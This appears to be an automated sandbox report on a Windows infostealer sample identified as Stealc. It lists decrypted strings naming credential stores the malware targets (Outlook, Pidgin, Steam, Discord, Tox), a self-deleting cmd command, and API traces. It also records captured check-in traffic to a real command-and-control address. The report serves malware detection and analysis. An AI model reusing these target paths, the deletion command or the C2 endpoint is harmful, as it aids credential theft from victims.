Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: A7FDF864FBC10B77*
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: A92DAA6EA6F891F2*
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: F8806DD0C461824F*
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Telegram
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Tox
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: *.tox
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: *.ini
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Password
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: 00000001
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: 00000002
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: 00000003
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: 00000004
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: \Outlook\accounts.txt
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Pidgin
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: \.purple\
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: accounts.xml
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: dQw4w9WgXcQ
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: token:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Software\Valve\Steam
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: SteamPath
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: \config\
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: ssfn*
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: config.vdf
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: DialogConfig.vdf
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: libraryfolders.vdf
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: loginusers.vdf
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: \Steam\
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: sqlite3.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: done
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: soft
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: \Discord\tokens.txt
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: https
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: POST
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: HTTP/1.1
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Content-Disposition: form-data; name="
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: hwid
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: build
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: token
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: file_name
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: file
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: message
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: screenshot.jpg
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00404C50 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,VirtualAlloc,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrcpy,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,lstrlenA,lstrcpy,lstrcatA,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy, 0_2_00404C50
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_004242C0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA, 0_2_004242C0
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_004060D0 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,GetProcessHeap,HeapAlloc,lstrlenA,memcpy,lstrlenA,lstrlenA,memcpy,lstrlenA,HttpSendRequestA,InternetReadFile,lstrlenA,lstrcpy,lstrcatA,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy, 0_2_004060D0
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00407750 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree, 0_2_00407750
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00409B20 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 0_2_00409B20
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00409B80 CryptUnprotectData,LocalAlloc,memcpy,LocalFree, 0_2_00409B80
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00819D87 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 0_2_00819D87
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_008179B7 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree, 0_2_008179B7
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_0081EDE7 memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat, 0_2_0081EDE7
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00819DE7 CryptUnprotectData,LocalAlloc,memcpy,LocalFree, 0_2_00819DE7
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00826D07 lstrcpy,SHGetFolderPathA,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,LocalAlloc,strtok_s,lstrcpy,lstrcpy,lstrcpy,lstrcpy,GetProcessHeap,RtlAllocateHeap,StrStrA,lstrlen,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlen,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlen,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlen,malloc,strncpy,lstrcpy,lstrcpy,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlen,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrlen,lstrlen,lstrlen,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,lstrcpy,lstrlen,lstrcpy,lstrlen,lstrcpy,lstrlen,lstrcpy,strtok_s,lstrlen,lstrcpy,memset, 0_2_00826D07
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00834527 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA, 0_2_00834527
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00814EB7 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrcpy,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,lstrlen,lstrcpy,lstrcat,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlen,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy, 0_2_00814EB7
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00826F20 lstrcpy,lstrcpy,lstrcpy,lstrcpy,GetProcessHeap,RtlAllocateHeap,StrStrA,lstrlen,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlen,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlen,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlen,malloc,strncpy,lstrcpy,lstrcpy,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlen,lstrlen,lstrlen,lstrlen,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,lstrcpy,lstrlen,lstrcpy,lstrlen,lstrcpy,lstrlen,lstrcpy,strtok_s,lstrlen,lstrcpy,memset, 0_2_00826F20
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00816337 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,GetProcessHeap,RtlAllocateHeap,lstrlen,memcpy,lstrlen,lstrlen,memcpy,lstrlen,HttpSendRequestA,InternetReadFile,lstrlen,lstrcpy,lstrcat,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlen,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy, 0_2_00816337

Compliance
barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Unpacked PE file: 0.2.X4roU7TtF1.exe.400000.0.unpack
Uses 32bit PE files
Source: X4roU7TtF1.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\Desktop\X4roU7TtF1.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00823CD7 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,DeleteFileA,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose, 0_2_00823CD7
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_0082D037 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,CreateFileA,GetFileSizeEx,CloseHandle,CloseHandle,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose, 0_2_0082D037
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00821C57 lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose, 0_2_00821C57
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_0082D987 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcpy,lstrcpy,FindNextFileA,FindClose, 0_2_0082D987
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_0082E187 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,lstrcpy, 0_2_0082E187
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_0081DDE7 lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,StrCmpCA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose, 0_2_0081DDE7
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00811907 lstrcpy,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,GetFileAttributesA,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrcpy,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose, 0_2_00811907
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00811920 lstrcpy,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,FindFirstFileA, 0_2_00811920
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00824ED7 lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,StrCmpCA,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,CopyFileA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose, 0_2_00824ED7
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00824EF0 lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,FindFirstFileA, 0_2_00824EF0
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00821607 lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose, 0_2_00821607
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00821620 lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose, 0_2_00821620
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_0082E657 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose, 0_2_0082E657

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49707 -> 92.255.57.88:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://92.255.57.88/7bbacc20a3bd2eb5.php
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 92.255.57.88Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /7bbacc20a3bd2eb5.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBKKKFHCFIDHIECGCAFHost: 92.255.57.88Content-Length: 216Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 37 36 39 39 38 44 43 33 30 32 33 31 38 31 37 37 30 34 35 37 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 35 35 31 34 38 38 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 2d 2d 0d 0a Data Ascii: ------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="hwid"376998DC30231817704571------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="build"551488411------ECBKKKFHCFIDHIECGCAF--
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TELSPRU TELSPRU
Source: unknown TCP traffic detected without corresponding DNS query: 92.255.57.88
Source: unknown TCP traffic detected without corresponding DNS query: 92.255.57.88
Source: unknown TCP traffic detected without corresponding DNS query: 92.255.57.88
Source: unknown TCP traffic detected without corresponding DNS query: 92.255.57.88
Source: unknown TCP traffic detected without corresponding DNS query: 92.255.57.88
Source: unknown TCP traffic detected without corresponding DNS query: 92.255.57.88
Source: unknown TCP traffic detected without corresponding DNS query: 92.255.57.88
Source: unknown TCP traffic detected without corresponding DNS query: 92.255.57.88
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00406C40 lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,lstrcpy, 0_2_00406C40
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 92.255.57.88Connection: Keep-AliveCache-Control: no-cache
Source: unknown HTTP traffic detected: POST /7bbacc20a3bd2eb5.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBKKKFHCFIDHIECGCAFHost: 92.255.57.88Content-Length: 216Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 37 36 39 39 38 44 43 33 30 32 33 31 38 31 37 37 30 34 35 37 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 35 35 31 34 38 38 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 2d 2d 0d 0a Data Ascii: ------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="hwid"376998DC30231817704571------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="build"551488411------ECBKKKFHCFIDHIECGCAF--
Source: X4roU7TtF1.exe, 00000000.00000002.2192848328.00000000008FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://92.255.57.88
Source: X4roU7TtF1.exe, 00000000.00000002.2192848328.0000000000945000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://92.255.57.88/
Source: X4roU7TtF1.exe, 00000000.00000002.2192848328.0000000000945000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://92.255.57.88/7bbacc20a3bd2eb5.php
Source: X4roU7TtF1.exe, 00000000.00000002.2192848328.0000000000945000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://92.255.57.88/7bbacc20a3bd2eb5.phpV
Source: X4roU7TtF1.exe, 00000000.00000002.2192848328.0000000000945000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://92.255.57.88/7bbacc20a3bd2eb5.phpj
Source: X4roU7TtF1.exe, 00000000.00000002.2192848328.00000000008FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://92.255.57.88/7bbacc20a3bd2eb5.phpq
Source: X4roU7TtF1.exe, 00000000.00000002.2192848328.0000000000945000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://92.255.57.88/7bbacc20a3bd2eb5.phpw#
Source: X4roU7TtF1.exe, 00000000.00000002.2192848328.0000000000945000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://92.255.57.88/X
Source: X4roU7TtF1.exe, 00000000.00000002.2192848328.00000000008FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://92.255.57.883
Source: Amcache.hve.5.dr String found in binary or memory: http://upx.sf.net
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00409770 memset,memset,lstrcatA,lstrcatA,lstrcatA,memset,wsprintfA,OpenDesktopA,CreateDesktopA,memset,lstrcatA,lstrcatA,lstrcatA,memset,SHGetFolderPathA,lstrcpy,StrStrA,lstrcpyn,lstrlenA,wsprintfA,lstrcpy,memset,CreateProcessA,Sleep,CloseDesktop, 0_2_00409770

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 00000000.00000002.2192748426.0000000000760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
